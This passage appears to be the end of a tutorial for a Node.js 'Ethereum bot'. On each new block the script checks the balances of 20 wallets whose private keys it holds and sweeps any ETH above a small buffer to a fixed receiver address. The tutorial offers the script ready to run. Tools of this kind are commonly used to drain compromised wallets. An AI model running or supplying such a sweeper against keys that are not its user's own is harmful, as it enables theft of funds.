    console.log("Listening new block, waiting..)");
    for (let i = 0; i < privateKeys.length; i++) {
      const _target = new ethers.Wallet(privateKeys[i]);
      const target = _target.connect(provider);
      const balance = await provider.getBalance(target.address);
      const txBuffer = ethers.utils.parseEther(".005");
      if (balance.sub(txBuffer) > 0) {
        console.log("NEW ACCOUNT WITH ETH!");
        const amount = balance.sub(txBuffer);
        try {
          await target.sendTransaction({
            to: addressReceiver,
            value: amount
          });
          console.log(`Success! transfered --> ${ethers.utils.formatEther(balance)}`);
        }
        catch (e) {
            console.log(`error: ${e}`);
        }
      }
    }
  });
}

bot();

To check if any of the 20 accounts have any Ethereum, we listen for new blocks to be mined. When the accounts above receive ETH, we transfer the funds to the Ethereum address defined in the JavaScript file.

Start the Ethereum Bot with a simple command: node eth_bot.js

Have fun!